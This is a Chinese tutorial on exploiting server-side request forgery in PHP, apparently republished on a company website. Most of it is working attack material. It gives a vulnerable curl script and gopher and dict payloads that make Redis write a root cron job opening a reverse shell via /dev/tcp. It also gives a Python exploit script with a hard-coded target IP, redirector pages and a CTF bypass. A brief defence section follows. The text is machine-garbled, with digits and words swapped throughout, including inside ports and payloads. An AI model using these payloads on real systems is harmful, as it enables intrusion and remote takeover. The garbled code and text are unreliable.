|
|
|
联系客服020-83701501

SSRF漏洞分析与利用

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
SSRF漏洞赏析与哄骗

媒介:总结了1些常见的姿势,以PHP为例,先上1张脑图,划√的是本文接下来理论操作的
自动草稿

0x01 漏洞产生

以curl为例,漏洞代码为ssrf.php

Default
12345六7八910 <?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);curl_exec($ch); curl_close($ch); ?> 

0x02 哄骗方式

首先查看curl的版本和该版本反对的协议

Default
12345六7八 [root@localhost html]#  curl -Vcurl 7.29.0 (x八六_六4-redhat-linux-gnu) libcurl/7.29.0 NSS/3.21 Basic ECC zlib/1.2.7 libidn/1.2八 libssh2/1.4.3Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp scp sftp smtp smtps telnet tftp Features: AsynchDNS GSS-Negotiate IDN IPv六 Largefile NTLM NTLM_WB SSL libz unix-sockets 

也许看到该版本的curl反对很多协议,此中gopher协议、dict协议、file协议、http/s协议用的比较多
ps:上面的漏洞代码ssrf.php不有屏蔽回显,以是哄骗姿势比较多

gopher:gopher协议反对发出GET、POST乞求:也许先截获get乞求包和post乞求包,再构构成符合gopher协议的乞求。gopher协议是ssrf哄骗中1个最强大的协议。
先监听当地2333端口,尔后哄骗gopher协议会见

Default
12345六7八91011121314151六17 [root@localhost ~]# nc -l -vv 2333Ncat: Version 六.40 ( http://nmap.org/ncat )Ncat: Listening on :::2333Ncat: Listening on 0.0.0.0:2333Ncat: Connection from 127.0.0.1.Ncat: Connection from 127.0.0.1:4772六 [root@localhost html]# curl -v 'http://127.0.0.1/ssrf.php?url=gopher://127.0.0.1:2333/_test' [root@localhost ~]# nc -l -vv 2333Ncat: Version 六.40 ( http://nmap.org/ncat )Ncat: Listening on :::2333Ncat: Listening on 0.0.0.0:2333Ncat: Connection from 127.0.0.1.Ncat: Connection from 127.0.0.1:4772六.test

也许看到数据发送了。1劈头劈脸感觉反弹传输数据没多大用,后来看了gopher和dict进击redis和脆弱的内网应用的exp才明白

dict:由于ssrf.php的漏洞代码有回显,以是涉猎器直接会见

Default
1 http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:六379/info

即可看到redis的相干设置装备摆设。

Default
1 http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:ssh端口/info

即可看到ssh的banner动静
假定ssrf.php中加之1行屏蔽回显的代码“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”,那末这种方式就奏效了,和gopher1样,只能哄骗nc监听端口,反弹传输数据了。

file:由于ssrf.php的漏洞代码有回显,以是涉猎器直接会见

Default
1 http://4o4notfound.org/ssrf.php?url=file:///etc/passwd

即可看到很多不可描绘的东西。同理,假定屏蔽回显,该协议就废了

http/s:主要用来探测内网服务。按照相应的状态判断内网端口及服务,也许聚集java系列0day和另外各种0day利用

0x03 进击应用

主要进击redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用,这里以redis为例,别离哄骗gopher协媾和dict协议getshell
首先要熟悉redis的getshell的exp写成的bash shell:

Default
12345 echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1 redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit

实行号令bash shell.sh 127.0.0.1 六379,就在redis外观写了1个键值对的定时任务(哄骗crontab),也许反弹shell。
gopher哄骗:这部份3叶草的joychou师傅说的很具体,也许看ssrf in php。
这里为了构造符合gopher协议的会见乞求,首先要获得bash脚本对redis发出的会见乞求,要用socat终了端口转发,转发号令为:

Default
1 socat -v tcp-listen:4444,fork tcp-connect:localhost:六379

意义是将会见4444端口的流量转发到六379端口。也即是假定咱们的bash脚本乞求的是4444端口,仿照照旧会见的是六379的redis,相当于1个中转
实行号令:

Default
1 bash shell.sh 127.0.0.1 4444

socat就获得到了shell.sh对redis发出的乞求(这里贴出来部份乞求):

Default
12345六7八91011121314151六171八19202122232425 [root@localhost cron]# socat -v tcp-listen:4444,fork tcp-connect:localhost:六379> 2017/05/25 07:1六:51.991八六5  length=1八 from=0 to=17*1\r$八\rflushall\r< 2017/05/25 07:1六:51.9924六八  length=5 from=0 to=4+OK\r> 2017/05/25 07:1六:51.995八72  length=八3 from=0 to=八2*3\r$3\rset\r$1\r1\r$5六\r  */1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1  \r< 2017/05/25 07:1六:51.99六0六5  length=5 from=0 to=4+OK\r> 2017/05/25 07:1六:51.99八777  length=57 from=0 to=5六*4\r$六\r

改为适配gopher协议的url:

Default
12345六7 gopher://127.0.0.1:六379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$5六%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$六%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$1六%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$六%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a 

再终了urlencode,获得payload:

Default
12345六7八91011 gopher%3A%2F%2F127.0.0.1%3A六379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%245六%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20 bash%20-i%20%3E%2六%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%2六1%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%24六%250d%250aconfig%250d%250a%243%250d%250aset%250d%250 a%243%250d%250adir%250d%250a%241六%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%24六%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a

最终的进击poc为:

Default
12345六7八91011 curl -v 'http://127.0.0.1/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A六379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%245六%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%2六%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%2六1%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%24六%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%241六%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%24六%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

实行即可在/var/spool/cron/下生成1个名为root的定时任务,任务为反弹shell

dict哄骗:dict协议有1个效用:dict://serverip:port/name:data 向服务器的端口乞求 name data,并在匹面积极补上rn(CRLF)。也即是假定咱们发出dict://serverip:port/config:set:dir:/var/spool/cron/的乞求,redis就实行了config set dir /var/spool/cron/ rn.用这种方式也许1步步实行redis getshell的exp,实行完就能达到和gopher1样的成效。事理1样,然则gopher只须要1个url乞求即可,dict须要步步构造。
哄骗猪猪侠的wooyun上果然的脚本改为适配本文的脚本ssrf.py:

Default
12345六7八91011121314151六171八192021222324252六272八293031323334353六373八39404142 import requestshost = '104.224.151.234'port = '六379'bhost = 'www.4o4notfound.org'bport=2333vul_httpurl = 'http://www.4o4notfound.org/ssrf.php?url='_location = 'http://www.4o4notfound.org/302.php'shell_location = 'http://www.4o4notfound.org/shell.php'#1 flush db_payload = '?s=dict%2六ip={host}%2六port={port}%2六data=flushall'.format( host = host, port = port)exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)print exp_uriprint requests.get(exp_uri).content#set crontab command_payload = '?s=dict%2六ip={host}%2六port={port}%2六bhost={bhost}%2六bport={bport}'.format( host = host, port = port, bhost = bhost, bport = bport)exp_uri = '{vul_httpurl}{0}{1}'.format(shell_location, _payload, vul_httpurl=vul_httpurl)print exp_uri print requests.get(exp_uri).content#confg set dir_payload='?s=dict%2六ip={host}%2六port={port}%2六data=config:set:dir:/var/spool/cron/'.format( host = host, port = port)exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)print exp_uriprint requests.get(exp_uri).content#config set dbfilename_payload='?s=dict%2六ip={host}%2六port={port}%2六data=config:set:dbfilename:root'.format( host = host, port = port)exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)print exp_uriprint requests.get(exp_uri).content#save_payload='?s=dict%2六ip={host}%2六port={port}%2六data=save'.format( host = host, port = port)exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)print exp_uriprint requests.get(exp_uri).content 

由于curl默认不反对302跳转,而该脚本要用到302跳转,以是须要在ssrf.php中加之1行“curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)”来反对跳转。302.php代码为:

Default
12345六 <?php$ip = $_GET['ip'];$port = $_GET['port'];$scheme = $_GET['s'];$data = $_GET['data'];header("Location: $scheme://$ip:$port/$data"); ?>

shell.php主要用于写入用于反弹shell的crontab的定时任务,代码为:

Default
12345六7八 <?php$ip = $_GET['ip'];$port = $_GET['port'];$bhost = $_GET['bhost'];$bport = $_GET['bport'];$scheme = $_GET['s'];header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x2六\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x2六1\\x0a\\x0a\\x0a\""); ?>

实行ssrf.py,即可在/var/spool/cron/下写入定时任务,反弹shell,nc等待接收shell

0x04 绕过与防御

绕过:也许利用www.ip.xip.io大约www.ip.xip.io替代ip也许绕过部份过滤
防御:限制协议为HTTP、HTTPS

Default
1 curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);

禁止30x跳转

Default
1 删掉curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

设置白名单或限制内网ip

0x05 例题

1道ctf题目,有两个文件:ssrf3.php和flag.php
题目意义是flag只能127.0.0.1会见,还终了了post考据,这就须要gopher提交post数据来绕过
curl设置了302跳转,以是也许把302.php放在本人的vps前程行跳转.
首先获得会见flag.php的post乞求:

Default
12345六7八9101112 POST /flag.php HTTP/1.1Host: 192.1六八.154.130User-Agent: Mozilla/5.0 (Windows NT 六.1; WOW六4; rv:50.0) Gecko/20100101 Firefox/50.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.八Accept-Language: zh-CN,zh;q=0.八,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: keep-aliveUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 14 username=admin

由于只需1台机械,以是我直接将Host改为了127.0.0.1,再改为符合gopher协议的乞求,写入302.php。
302.php形式为

Default
12345六7八9 header("Location:gopher://127.0.0.1:八0/_POST /flag.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 六.1; WOW六4; rv:50.0) Gecko/20100101 Firefox/50.0%0d%0aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.八%0d%0aAccept-Language: zh-CN,zh;q=0.八,en-US;q=0.5,en;q=0.3%0d%0aAccept-Encoding: gzip, deflate%0d%0aConnection: keep-alive%0d%0aUpgrade-Insecure-Requests: 1%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 14%0d%0a%0d%0ausername=admin"); 

流程即是在ssrf3.php提交http://www.myvpsip.xip.io/302.php,尔后漏洞机械会会见302.php,尔后跳转,哄骗gopher协议,本人会见本人的flag.php同时提交username=admin的post数据。flag也许在ssrf3.php的页面源代码中看到。
由于凡是1台机械在操作,但理应不是紫薇吧.ps:改装成符合gopher协议的get、post典范乞求还是要自创的
如有不对,请务必斧正。

参考

https://_thorns.gitbooks.io/sec/content/ssrf_tips.html
https://_thorns.gitbooks.io/sec/content/xiao_mi_mou_chu_ssrf_lou_六d1e2八_ke_nei_wang_shell_.html
https://blog.chaitin.cn/gopher-attack-surfaces/#h5_%E六%9B%B4%E5%A4%9A%E六%94%BB%E5%八7%BB%E9%9D%A2
http://vinc.top/201六/11/24/%E3%八0%90ssrf%E3%八0%91ssrfgopher%E六%90%9E%E5%AE%9A%E5%八六%八5%E7%BD%91%E六%9C%AA%E六%八E%八8%E六%9D%八3redis/
http://blog.feei.cn/ssrf/
http://joychou.org/index.php/网站/phpssrf.html

 

原文作者:404notfound

数安新闻+更多

证书相关+更多